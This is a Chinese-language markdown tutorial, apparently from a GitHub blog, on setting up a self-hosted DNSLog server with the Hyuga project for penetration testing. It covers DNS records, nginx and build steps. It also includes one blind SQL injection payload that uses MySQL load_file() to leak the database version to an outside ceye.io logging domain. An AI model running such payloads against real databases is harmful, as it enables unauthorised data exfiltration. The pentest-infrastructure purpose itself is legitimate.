DNSLog.md
March 18, 2022 · View on GitHub
title: DNSLog搭建 date: '[object Object]': null tags: [渗透]
一、前言:
DNSLog的出现为渗透测试中的回显提供了很大的方便,一些无回显的漏洞,也可以通过DNSLog进行信息回显。本文将对DNSLog的搭建进行介绍,让你快速搭建起属于自己的DNSLog
二、DNSLog原理
基本
DNS解析时,我们可以设置自己的NS服务器进行解析,并获取到全部的解析历史记录的日志,从而从日志中获取信息

DNSLog盲注
Mysql load_file()函数可以发起请求,LOAD_FILE()函数操作需要用户具有FILE权限。构造语句,利用load_file()函数发起请求,使用Dnslog接收请求
select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))
P.S.
- 只能在windows系统下使用load_file()发起请求,在Linux环境下不能使用load_file()发起请求
- secure_file_priv为""
三、搭建DNSLog
配置域名解析
P.S. 这里不推荐腾讯云(DNSPod),不能改自定义DNS服务器,也不支持NS记录泛解析,推荐阿里云
- 准备两个域名,一台服务器
aaa.ink: 做web服务访问
aaa.cloud: 做DNS服务器域名
<server_ip>:运行DNSLog
P.S. 域名随便找,我这里申请了ink,cloud(便宜qwq)
- aaa.cloud解析设置
记录值为 <server_ip> - aaa.ink解析设置

- A记录值为<server_ip>
- NS记录值为
ns1.aaa.cloud,ns2.aaa.cloud
- aaa.ink 设置自定义的DNS服务器
修改DNS服务器为刚刚设置的NS记录值

DNSLog部署
本文使用 Hyuga 搭建
环境准备
- OS:Ubuntu,其他系统相似,只不过安装软件命令有区别
- 安装Redis
apt install redis-server
service redis start
- 安装nginx
apt install nginx
service nginx start
- 安装 yarn
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
apt update
apt install yarn
- 安装 node
curl -sL https://deb.nodesource.com/setup_lts.x | bash -
apt install -y nodejs
- 安装cnpm (国内npm慢)
npm install -g cnpm --registry=https://registry.npm.taobao.org
- 安装vue
cnpm install -g @vue/cli
- 安装vue-cli-service
cnpm install @vue/cli-service -g
修改环境变量以及配置
- 环境变量写入项目根目录下的 .env 文件:
APP_ENV=production
REDIS_SERVER=<redis_ip> # 本地就localhost
REDIS_PORT=6379
RECORDEXPIRATION=30
DOMAIN=<aaa.ink> # 记录域名
NS1_DOMAIN=ns1.<aaa.cloud> # NS域名
NS2_DOMAIN=ns2.<aaa.cloud> # NS域名
SERVER_IP=<server_ip> # 公网IP
- 修改 deploy/nginx/nginx-hyuga.conf 中的 server_name, proxy_pass
server {
listen 80;
server_name <aaa.ink>;
...
}
...
server {
listen 80;
server_name *.<aaa.ink>;
....
location / {
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://<aaa.ink>:5000;
}
前端
- 修改 ui/src/utils/conf.js API 接口 修改 api.<aaa.ink>:5000 为记录域名
- 构建前端文件
$ cd Hyuga/ui
$ yarn build
$ rm -r ../frontend
$ mv dist/ ../frontend
部署
- 前端 a. 配置Nginx
cp deploy/nginx/nginx-hyuga.conf /etc/nginx/conf.d/
vim /etc/nginx/conf.d/nginx.conf
b. 配置前端项目
rm -r /var/www/*
cp /root/Hyuga/frontend/* /var/www/ -R
c. 重启nginx
service nginx restart
- 后端 a. 编译go代码
go build hyuga.go
b. 运行
nohup ./hyuga &
P.S. 云服务器记得配置安全策略,打开80,53,5000端口
四、运行展示
已经收到访问记录
